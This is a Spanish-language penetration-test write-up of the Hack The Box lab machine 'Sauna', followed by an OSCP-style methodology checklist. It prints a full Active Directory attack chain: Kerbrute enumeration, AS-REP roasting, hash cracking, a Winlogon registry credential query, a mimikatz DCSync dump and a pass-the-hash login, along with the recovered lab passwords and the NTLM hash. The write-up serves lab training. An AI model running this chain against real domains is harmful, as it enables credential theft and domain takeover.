10.10.10.175 Sauna

Enumeration

A continuación, se mostrara la respectiva enumeración realizada al objetivo

TCP

```
Nmap scan report for 10.10.10.175
Host is up (0.17s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-05-23 23:22:54Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-
BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-
BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed
port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
```

UDP

Web Services

Como cuenta con un servicio web, se procede a obtener información de este

Nikto

Encabezados y llamados a las API, posiblemente todos los métodos y si hay un inicio de sesión, es posible ver información de usuarios
- Nikto v2.1.6

+ Target IP: 10.10.10.175
+ Target Hostname: 10.10.10.175
+ Target Port: 80
+ Start Time: 2022-05-23 12:44:09 (GMT-4)

+ Server: Microsoft-IIS/10.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

Dirb\DirBuster

En vez de usar Dirb/Dirbuster, se uso Gobuster

[+] Url: http://10.10.10.175/

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/images (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/index.html (Status: 200) [Size: 32797]
/contact.html (Status: 200) [Size: 15634]
/blog.html (Status: 200) [Size: 24695]
/about.html (Status: 200) [Size: 30954]
/Images (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/Contact.html (Status: 200) [Size: 15634]
/About.html (Status: 200) [Size: 30954]
/Index.html (Status: 200) [Size: 32797]
/Blog.html (Status: 200) [Size: 24695]
/fonts (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/INDEX.html (Status: 200) [Size: 32797]
/Fonts (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]

WebDav

No tiene

CMS

CMS IIS

Other Services

SMB

Host script results:
| smb2-time:
| date: 2022-05-23T23:23:12
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_   Message signing enabled and required
|_clock-skew: 7h00m00s

SNMP

DB

Other

Exploitation

Service Exploited: Kerberos
Vulnerability Type: ASREPRoasting
Exploit POC: Kerbrute, GetNPUsers.py
Description:
Se logra identificar un servicio que no se encuentra lo suficienteme protegido por el sistema, por lo tanto fue posible extraer usuarios, creando así un archivo con los usuarios obtenidos para poder realizar un ataque con un script de impacket “GetNPUsers.py”, con el cual fue posible acceder a un hash que puede ser una credencial de uno de los usuarios

Discovery of Vulnerability
Realizando la busqueda de las vulnerabilidades, fue posible encontrar una referente a un error de configuración en el directorio activo establecido, que permite realizar una enumeración y extraer un hash de la contraseña del usuario

Exploit Code Used

• La herramienta se obtuvo del siguiente enlace y usando el siguiente comando `git clone https://github.com/Sq00ky/attacktive-directory-tools.git`

• Usando el siguiente comando para iniciar el ataque `./kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o usernameSauna.txt -t 50`

• Continuamos con el siguiente para extraer el hash `python GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile usernameSauna.txt -format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.175`

• Con ayuda de John desciframos el hash para obtener una contraseña `john --wordlist=/usr/share/wordlists/rockyou.txt hashJhon.txt`

• Usando Evil-Winrm obtendremos acceso a nuestro objetivo `evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'`

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: AD
Vulnerability Type: Ausencia del mínimo privilegio
Exploit POC: N/A
Description:
Se realiza una enumeración interna de escalada de privilegios para obtener información y realizar un movimiento lateral de usuarios con tal de dar con alguno que cuente con privilegios lo suficientemente elevados

Discovery of Vulnerability
Por medio de los comandos de escalada de privilegios encontrados en internet, se logra obtener unas contraseñas de los usuarios que se encuentran registrados en el AD de la víctima.

Exploit Code Used
• Se ejecuta le siguiente comando, logrando así la visualización de una contraseña del usuario detectado reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
• Se procede a usar Evil-Winrm para acceder a este

Service Exploited: DCSYNC Controlador de Dominio
Vulnerability Type: DCSync Attack
Exploit POC: Mimikatz
Description:
Se logra usar el software como mimikatz para obtener los datos necsarios para escalar privilegios una vez más

Discovery of Vulnerability
Se realiza la prueba de mimikatz esperando algún resultado diferente al obtenido con el usuario anterior “FSmith”, esta prueba sale satisfactoria dando así el hash del usuario solicitado.

Exploit Code Used
• Se descarga Mimikatz y se transfiere con impacket copy \\10.10.14.18\share\mimikatz.exe
• Se ejecuta el siguiente comando con el usuario ./mimikatz.exe 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator'
• Usando Evil-Winrm se accede al usuario evil-winrm -i 10.10.10.175 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Goodies

Hashes

Hash NTLM
• Administrator:823452073d75b9d1cf70ebdf86c7f98e

Passwords

fsmith:Thestrokes23
svc_loanmngr:Moneymakestheworldgoround!

Proof\Flags\Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the software

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book